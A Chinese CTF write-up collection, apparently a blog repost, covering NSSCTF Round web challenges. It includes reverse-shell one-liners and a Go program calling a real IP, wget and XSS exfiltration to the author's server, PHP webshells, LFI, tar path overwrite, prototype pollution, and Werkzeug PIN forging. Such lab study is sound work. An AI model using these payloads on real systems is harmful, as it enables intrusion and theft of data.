【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

import requests

# 指定要上传的.tar文件的路径
file_path = r'C:\Users\21135\Desktop\flag.tar'
# 指定目标URL
url = 'http://node5.anna.nssctf.cn:28566/upload'

# 使用'rb'模式打开文件,意味着以二进制格式只读打开文件
with open(file_path, 'rb') as f:
    # 'file'是文件的字段名,根据服务器端的要求可能会有所不同
    files = {'file': (file_path, f, 'application/x-tar')}
    # 发送POST请求上传文件
    response = requests.post(url, files=files)

    # 打印响应内容
    print(response.text)

上传成功 

 【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

 访问/download读/flag内容拿到flag【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSRound#6 Team]check(Revenge)

这题在/download路由下增加了一个软连接的过滤

@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'
    
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    
    if '..' in filename or '/' in filename:
        return '?'
    
    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'
    
    if os.path.islink(filepath):
        return '?'
    
    if oct(os.stat(filepath).st_mode)[-3:] != '444':
        return '?'
    
    with open(filepath, 'r') as f:
        return f.read()

注意到/console可以访问,即debug开启,允许热加载,所以可覆盖靶机文件,就算没覆盖成,也可以算pin来rce

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

主程序是/app/main.py

exp:

main.py

from flask import Flask,request
import os

app = Flask(__name__)

@app.route('/Z3r4y', methods=['GET'])
def download_file():
    filename = request.args.get('exp')

    return os.popen(filename).read()

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=True, port=80)

文件上传脚本

import requests as req
import tarfile

url = 'http://node5.anna.nssctf.cn:28661/'
filename = r"main.py"

def changeFileName(filename):
    filename.name='/app/main.py'
    return filename

with tarfile.open("exp.tar", "w") as tar:
    tar.add(filename,filter=changeFileName)

def upload(rawurl):

    url = rawurl + "upload"
    response = req.post(url = url, files = {"file":open("exp.tar",'rb')})
    print(response.text)

if __name__ == "__main__":
    upload(url)

上传成功

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

 payload:

/Z3r4y?exp=ls+/

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

 payload:

/Z3r4y?exp=cat+/you_could_never_guess_the_flag_path

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSRound#7 Team]ec_RCE

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

直接多条命令执行

payload;

action=;tac&data=/flag

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSRound#7 Team]0o0

抓包看响应头

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

/?S0uRc3=1

拿到源码 

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

 参考链接:

PHP filter chains: file read from error-based oracle

php_filter_chain_generator

用上面的工具生成payload,编码规则是6位,所以要用'Xy1on '来生成,最后php://tmp改成level2即可

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全 访问/Ns_SCtF.php拿到源码

<?php
error_reporting(0);
highlight_file(__FILE__);

$NSSCTF = $_GET['NSSCTF'] ?: '';
$NsSCTF = $_GET['NsSCTF'] ?: '';
$NsScTF = $_GET['NsScTF'] ?: '';
$NsScTf = $_GET['NsScTf'] ?: '';
$NSScTf = $_GET['NSScTf'] ?: '';
$nSScTF = $_GET['nSScTF'] ?: '';
$nSscTF = $_GET['nSscTF'] ?: '';

if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {
    if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {
        if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {
            if (isset($_GET['nss_ctfer.vip'])) {
                if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
                    $nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";
                    if ($nss && $nSscTF === "NSSRound7") {
                        if (isset($_POST['submit'])) {
                            $file_name = urldecode($_FILES['file']['name']);
                            $path = $_FILES['file']['tmp_name'];
                            if(strpos($file_name, ".png") == false){
                                die("NoO0P00oO0! Png! pNg! pnG!");
                            }
                            $content = file_get_contents($path);
                            $real_content = '<?php die("Round7 do you like");'. $content . '?>';
                            $real_name = fopen($file_name, "w");
                            fwrite($real_name, $real_content);
                            fclose($real_name);
                            echo "OoO0o0hhh.";
                        } else {
                            die("NoO0oO0oO0!");
                        }
                    } else {
                        die("N0o0o0oO0o!");
                    }
                } else {
                    die("NoOo00O0o0!");
                }
            } else {
                die("Noo0oO0oOo!");
            }
        } else {
            die("NO0o0oO0oO!");
        }
    } else {
        die("No0o0o000O!");
    }
} else {
    die("NO0o0o0o0o!");
}

 到文件上传前的一堆php特性还是挺好绕的:

/Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1a&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=1&NSScTf=114514e1&nSScTF=1&nSscTF=NSSRound7

文件上传部分就是个死亡die绕过

本来内容是<?php die("Round7 do you like");,进行base64编码后,由于base64的字母表不包含部分字符,会只剩下phpdieRound7doyoulike,长度刚好为21,而且base64编码是以4个字节为一组做处理的(四位一解码),接上3个a,就凑成了4的倍数。

webshell的内容为aaaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+,即<?php eval($_POST[1]);?>

exp:

import requests as req


def upload(file_path, new_file_name, url):
    """
    上传一个文件到指定的URL,并在上传前修改文件名。

    :param file_path: 要上传的文件的本地路径。
    :param new_file_name: 上传后文件的新名称。
    :param url: 上传文件的目标URL。
    """
    # 以二进制方式读取文件内容
    with open(file_path, 'rb') as file_content:
        # 在files字典中使用新的文件名
        files = {'file': (new_file_name, file_content)}
        data={'submit': "Z3r4y"}
        # 发送POST请求上传文件
        response = req.post(url, files=files ,data=data)
        print(response.text)


if __name__ == "__main__":
    # 定义上传信息
    file_path_to_upload = r"C:\Users\21135\Desktop\yjh.php"  # 修改为你的PHP文件路径
    new_file_name = '%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%64%65%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%79%6a%68%2e%70%6e%67%2e%70%68%70'  # 上传后的文件名
    upload_url = "http://node5.anna.nssctf.cn:28270/Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTF=1a&NsScTf=data://text/plain,Welcome%20to%20Round7!!!&nss[ctfer.vip=1&NSScTf=114514e1&nSScTF=1&nSscTF=NSSRound7"  # 修改为实际的上传URL

    # 执行上传
    upload(file_path_to_upload, new_file_name, upload_url)

 【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

成功写马连蚁剑拿到flag

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSRound#7 Team]ShadowFlag

进来直接拿到源码


from flask import Flask, request
import os
from time import sleep

app = Flask(__name__)

flag1 = open("/tmp/flag1.txt", "r")
with open("/tmp/flag2.txt", "r") as f:
    flag2 = f.read()
tag = False


@app.route("/")
def index():
    with open("app.py", "r+") as f:
        return f.read()


@app.route("/shell", methods=['POST'])
def shell():
    global tag
    if tag != True:
        global flag1
        del flag1
        tag = True
    os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt")
    action = request.form["act"]
    if action.find(" ") != -1:
        return "Nonono"
    else:
        os.system(action)
    return "Wow"


@app.errorhandler(404)
def error_date(error):
    sleep(5)
    return "扫扫扫,扫啥东方明珠呢[怒]"


if __name__ == "__main__":
    app.run()

flag1与flag2区别在于,open打开后并没有关闭,with open打开后关闭了,所以flag1会在/proc进程中继续保留,flag2.txt的内容赋值给了flag2,所以flag2可以在控制台读局部变量

payload:

空格用${IFS}绕过

环境没有wget没有nc,于是用python来打

act=python3${IFS}-c${IFS}'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("124.222.136.33",1337));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

成功反弹shell

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全 经过尝试不能直接读环境变量

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

env也没偷鸡成功,但起码知道debug是开着的&用户名是ctf

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

Proc 目录在 CTF 中的利用-安全客 - 安全资讯平台

看模板进程,正常是15-18

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

ls -lh /proc/17/fd

17里翻到了flag1 

 【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

cat /proc/17/fd/3

 【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

接下来flask算pin

先随便整点报错,拿到绝对路径

/usr/local/lib/python3.10/site-packages/flask/app.py

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

用户已知是ctf

读getNode得到uuid

cat /sys/class/net/eth0/address

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

0242ac0264db 十六进制转十进制即可 

2485376935131

读/proc/sys/kernel/random/boot_id

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

780aeba6-919e-4c3d-854f-e2e8936f5ab1

读 /proc/self/cgroup 

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

0ae130a48ea276b0e671801311d118dac6aecdeb9af6ec35a9d71ae2d78af041

整理后 拼接得到最终machine_id

780aeba6-919e-4c3d-854f-e2e8936f5ab10ae130a48ea276b0e671801311d118dac6aecdeb9af6ec35a9d71ae2d78af041

算pin脚本

import hashlib
from itertools import chain


def getPIN(public_bits, private_bits):
    rv = None
    num = None
    # h = hashlib.md5()
    h = hashlib.sha1()
    for bit in chain(public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]
    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x: x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name


if __name__ == "__main__":
    public_bits = [
        'ctf',
        'flask.app',
        'Flask',
        '/usr/local/lib/python3.10/site-packages/flask/app.py'
    ]

    private_bits = [
        '2485376935131',
        '780aeba6-919e-4c3d-854f-e2e8936f5ab10ae130a48ea276b0e671801311d118dac6aecdeb9af6ec35a9d71ae2d78af041'
    ]

    PIN = getPIN(public_bits, private_bits)
    print(PIN)

在/shell处打开console输入pin码,读变量flag2

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSRound#7 Team]新的博客

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全随便注册一个账号,登录【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

点第二个链接直接弹窗

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

点第一个链接跳转

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

拿随波逐流base64->hex->base64->hex解个码

CTF在线工具-CTF工具|CTF编码|CTF密码学|CTF加解密|程序员工具|在线编解码

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

附件里的flag文件提示要拿admin

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

www/app/conf/userinfo.json中拿到admin账密,显然后者不可逆

{
	"admin": "c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec"
}

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

点击备份功能

看到flag在/Z3r4y/flag

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

点击恢复功能

可以上传一个tar.gz文件,存在路径覆盖漏洞

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全  生成压缩包脚本

import os, hashlib, json

username = 'Z3r4y'
admin_passwd = 'admin'

os.makedirs('conf')
os.makedirs(os.sep.join([os.getcwd(), 'userData', username]))
with open(os.sep.join([os.getcwd(), 'conf', 'userinfo.json']), 'wb') as tFile:
    tFile.write(json.dumps({'admin': hashlib.sha512(admin_passwd.encode('utf-8')).hexdigest()}).encode('utf-8'))
userDataDir = os.sep.join([os.getcwd(), 'userData'])
os.system(f'cd "{userDataDir}" && tar cPzvf upload.tar.gz {username}/../../conf/userinfo.json')

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

上传该压缩包

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

登出,以admin/admin登录,访问第二个链接,拿到flag 

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSRound#8 Basic]MyPage

进来存在一个文件包含

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

?file=php://filter/convert.base64-encode/resource=index.php

啥也读不出来

文件包含直接打pearcmd

利用pearcmd.php本地文件包含(LFI)-CSDN博客

/index.php?file=?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

/index.php?file=/tmp/shell.php

cmd=system('env');

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSRound#8 Basic]MyDoor 

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

伪协议读index.php,base64解码拿到源码

/index.php?file=php://filter/convert.base64-encode/resource=index.php

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

<?php
error_reporting(0);

if (isset($_GET['N_S.S'])) {
    eval($_GET['N_S.S']);
}

if(!isset($_GET['file'])) {
    header('Location:/index.php?file=');
} else {
    $file = $_GET['file'];

    if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
        include $file;
    } else {
        die('error.');
    }
}

直接给了后门

/index.php?N[S.S=system('env');

[NSSRound#8 Basic]Upload_gogoggo

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

抓包看响应头啥也没有

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

随便上传一个文件 

发现执行了 go 文件名前缀

 【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

尝试上传help.txt

这次执行了 go 文件名前缀 文件名

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

尝试上传恶意go文件

目的构造go run xxx.go,所以文件名改成run.go

package main

import (
    "bytes"
    "fmt"
    "os/exec"
)

func main() {
    // 创建一个*exec.Cmd,这里以`ls`命令为例。如果你在Windows上运行,可以改为`cmd`和`/C dir`。
    cmd := exec.Command("bash", "-c","bash -i >& /dev/tcp/124.222.136.33/1337 0>&1")

    // 创建一个bytes.Buffer来捕获命令的标准输出。
    var out bytes.Buffer
    cmd.Stdout = &out

    // 运行命令
    err := cmd.Run()
    if err != nil {
        fmt.Println("Error executing command:", err)
        return
    }

    // 打印命令的输出
    fmt.Println("Command output:", out.String())
}

反弹shell拿flag碎片,base64解码即可

 【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

 【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSRound#8 Basic]ez_node 

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

下载附件,看server.js

const express = require("express");
const path = require("path");
const fs = require("fs");
const multer = require("multer");

const PORT = process.env.port || 3000
const app = express();

global = "global"

app.listen(PORT, () => {
    console.log(`listen at ${PORT}`);
});

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}


let objMulter = multer({ dest: "./upload" });
app.use(objMulter.any());

app.use(express.static("./public"));

app.post("/upload", (req, res) => {
    try{
        let oldName = req.files[0].path;
        let newName = req.files[0].path + path.parse(req.files[0].originalname).ext;
        fs.renameSync(oldName, newName);
        res.send({
            err: 0,
            url:
            "./upload/" +
            req.files[0].filename +
            path.parse(req.files[0].originalname).ext
        });
    }
    catch(error){
        res.send(require('./err.js').getRandomErr())
    }
});

app.post('/pollution', require('body-parser').json(), (req, res) => {
    let data = {};
    try{
        merge(data, req.body);
        res.send('Register successfully!tql')
        require('./err.js').getRandomErr()
    }
    catch(error){
        res.send(require('./err.js').getRandomErr())
    }
})

err.js

obj={
    errDict: [
        '发生肾么事了!!!发生肾么事了!!!',
        '随意污染靶机会寄的,建议先本地测',
        '李在干神魔👹',
        '真寄了就重开把',
    ],
    getRandomErr:() => {
        return obj.errDict[Math.floor(Math.random() * 4)]
    }
}
module.exports = obj

参考文章:Node.js require() RCE复现 | Jiekang Hu's Blog 

在require非原生库的过程中,最终会去调用PkgPath和pkg.exports拼接起来的字符串所指定的文件

payload:

test.js

没有curl,nc,bash,考虑用wget来外带数据

obj={
    getRandomErr:() => {
        require('child_process').execSync('wget http://124.222.136.33:1337/`cat /flag`')
    }
}
module.exports=obj

上传成功

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

污染

{
	"__proto__": {
		"data": {
			"name": "./err.js",
			"exports": "./db93efa882fa2a00a76ce0595bea087e.js"
		},
		"path": "/app/upload"
	}
}

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

接收到flag 

 【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

 ​​​

[NSSRound#13 Basic]flask?jwt?

随便注册个号登录

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

点击拿flag回显要admin

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

注意到session为jwt

在忘记页码界面找到secretkey: th3f1askisfunny

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

先解密

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全把_user_id改为1再加密

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

改session,拿flag

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSRound#13 Basic]flask?jwt?(hard)

进来注册登录,session解密,看到除了_id,还需要多伪造一个time

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

去忘记密码页面找secretkey没找到,回到用户界面右键查看源码得知secretkey路径 

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

访问/wor得知上次登录的时间,注意到这个时间就是我们对session进行解密得出的time,所以/wor这个页面对session存在读取操作

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全 确实没找到secret_key,尝试删掉部分session让其报错拿到secret_key

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

 再拿secret_key解密一下

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

_id改为1,加密 

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全 改session,拿flag

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSRound#13 Basic]ez_factors 

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

 点击Tool跳转

2*31*1847=114514,这里就是从url里接参,然后作为命令拼接调用

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

尝试;env拼接命令,可以执行,说明是linux命令,但只回显数字

 【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

然后用10进制输出文件内容

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

直接传会报错

/factors/114514;od -t dC /flag

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

于是url编码一次

payload:

/factors/114514;%6f%64%20%2d%74%20%64%43%20%2f%66%6c%61%67

 【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

把拿到的数据还原成字符串拿到flag

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSRound#13 Basic]MyWeb

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

  • 单引号(’)
  • 双引号(”)
  • 反斜杠(\)
  • NULL

所以考虑内敛执行 

payload:

先写入拼接恶意命令,注意//注释掉了本行内容,所以需要%0a来换行,eval是支持换行执行的

?mode=save&value=]//%0a;echo%20`cat%20/flag`;//

 再读命令执行结果

?mode=read

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSRound#13 Basic]TimeTrcer 

先随便create一个note

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

 点击链接跳转,点击Report it,弹窗一眼xss

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

 右键查看源码,注意这段js

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

  1. function sleep(ms) {...}定义了一个名为sleep的函数,它接受一个参数ms,表示毫秒数。该函数返回一个Promise对象,在指定的毫秒数后resolve这个Promise。

  2. 使用let hash = new URLSearchParams(location.search).get('hash');从当前页面的URL中获取名为"hash"的参数的值。

  3. 使用立即调用的异步函数表达式 (async () => {...})() 来执行异步任务。这个异步函数主要是用来获取用户输入的私钥,并向后端发送请求来获取笔记的数据。

  4. 用户会被提示输入私钥,然后弹出确认框,如果用户确认使用这个私钥,则会向服务器发起POST请求,请求获取笔记数据。笔记数据将会在网页中显示。

  5. 在标题显示之后,使用了一个await sleep(500);来暂停执行500毫秒。这可能是为了增加一些挑战性。

  6. 最后,当点击"report"按钮时,会向后端发送一个报告请求,并弹出一个alert框显示报告的响应内容。

payload:

<img src="" onerror="window.confirm=(a)=>{return true;};var fakefetch
= window.fetch; window.fetch = async (...args) => {await
fakefetch('http://124.222.136.33:1337', {method: 'POST',mode: 'no-cors',body:
JSON.stringify(args),}); }; window.content = undefined; var fetched =
false; Error.prepareStackTrace = (_, callsites) =>
{console.log('jacked');callsites.forEach((callsite) => {if(fetched ==
false){callsite.getFunction()(); fetched =true}}); };" />

解读一下这段payload:

1、插入了img标签,使得56-65这段匿名函数执行停止,去加载img外部引用,因为没有外部引用,所以触发img的error,执行js代码
【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全 2、js代码把confirm替换默认返回true,将fetch替换为将传递的参数发送到我们的vps,替换window.content = undefined来触发报错,替换Error.prepareStackTrace来通过报错来劫持调用栈

3、之后执行content.innerHTML = data.message.content,发生报错,执行Error.prepareStackTrace,通过 callsite.getFunction()获取当前调用栈的函数,也就56-65这段的匿名函数,再callsite.getFunction()(),让这段匿名函数再次执行

4、 if (confirm('Using this pirvateKey? Cancel For retype'))直接返回true,接下来fetch被我们之前替换了,所以执行fakefetch,将传递进来的参数包括私钥发送到我们的vps

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

哈希值c81e728d9d4c2f636f067f89cc14862c是字符串"2"的MD5哈希结果

发现 hash 参数仅仅由数字 md5 生成,相对应的数字即为 note 序号。管理员的笔记 hash 即为 md5(1) c4ca4238a0b923820dcc509a6f75849b

点击链接,report it让bot点击,成功接收

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

扔给gpt处理一下

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

拿着这个私钥去访问/view?hash=c4ca4238a0b923820dcc509a6f75849b,拿到flag

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSRound#16 Basic]RCE但是没有完全RCE

[NSSRound#16 Basic]了解过PHP特性吗

【Web】NSSCTF Round#16 Basic个人wp(全)

[NSSRound#17 Basic]真·签到

[NSSRound#17 Basic]真的是文件上传吗?

【Web】NSSCTF Round#17 Basic个人wp(全)

[NSSRound#18 Basic]门酱想玩什么呢?

[NSSRound#18 Basic]Becomeroot

【Web】NSSCTF Round#18 Basic个人wp(部分)_nss becomeroot-CSDN博客

[NSSRound#18 Basic]easy_rw 

直接扫出来信息泄露

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

或者CVE复现即可

Apache DolphinScheduler 敏感信息泄漏 (CVE-2023-48796)_墨知

/actuator是Actuator端点的默认路径前缀。在不同的Spring Boot版本和配置中,可用的端点可能会有所不同,但下面是一些常见的/actuator下的子端点及其用途:

1. /actuator/health

提供应用的健康信息。可以显示应用是否处于运行状态以及各种健康指标的详情,比如数据库连接是否正常、磁盘空间是否足够等。

2. /actuator/info

显示应用的基本信息,这些信息可以通过在application.propertiesapplication.yml文件中配置info属性来自定义。

3. /actuator/metrics

提供应用的详细指标,如内存使用情况、HTTP请求计数、线程池状态等。可以查询特定的指标来获取更细致的数据。

4. /actuator/env

显示应用的环境属性,包括配置属性、系统环境变量、系统属性等。

5. /actuator/loggers

允许查看和修改应用中日志记录器的配置,比如动态调整日志级别。

6. /actuator/heapdump

提供一个JVM堆转储文件,可以用于深入分析应用的内存使用情况。

7. /actuator/threaddump

提供当前应用的线程状态快照,有助于诊断死锁或其他线程问题。

8. /actuator/auditevents

显示应用的审计事件信息,比如认证事件、访问决策等,前提是应用配置了审计功能。

9. /actuator/caches

显示应用中缓存的详细信息,前提是应用使用了Spring Framework的缓存抽象。

10. /actuator/scheduledtasks

列出应用中所有的定时任务信息。

11. /actuator/httptrace

显示HTTP跟踪信息(比如最近的HTTP请求-响应交换),这取决于HttpTraceRepository的配置。

访问/dolphinscheduler/actuator/env直接读到环境变量里的flag 

【Web】NSSRound#1-20 Basic 刷题记录(全),ctf,web,nssctf,nssround,wp,超全

[NSSRound#20 Basic]真亦假,假亦真

[NSSRound#20 Basic]CSDN_To_PDF V1.2

【Web】NSSCTF Round#20 Basic 个人wp-CSDN博客

[NSSRound#20 Basic]baby-Codeigniter 

[NSSRound#20 Basic]组合拳!

【Web】NSSCTF Round#20 Basic 两道0解题的赛后谈文章来源地址https://www.toymoban.com/news/detail-851632.html

到了这里,关于【Web】NSSRound#1-20 Basic 刷题记录(全)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【Web】NSSCTF Round#16 Basic个人wp(全)

    出题友好,适合手生复健。 目录 ①RCE但是没有完全RCE ②了解过PHP特性吗 上来就是一段md5八股 (string)就是不让用数组了,然后强比较需要md5碰撞  之后是要md5前后都是0e   成功过掉,访问3z_RC3.php  这里可能有师傅会想用hex2bin,但编码后会有f和a两个字母不能用,限制太大,反

    2024年01月21日
    浏览(26)
  • 小白刷题CTF show web方向

    右键查看源代码,再使用在线解密,就可以得出答案了 admin\\\' or 1=1 或者 1 or 1=1 可以登录 查询几个字段: 1\\\' or 1=1 order by 3 # 使用此语句,判断列数。 order by 3不会出错,但是order by 4就没有显示了,因此判断共有3列。 ORDER BY 子句中的数字(如 ORDER BY 4)通常表示 按照查询结果中

    2024年03月14日
    浏览(26)
  • NSSRound16

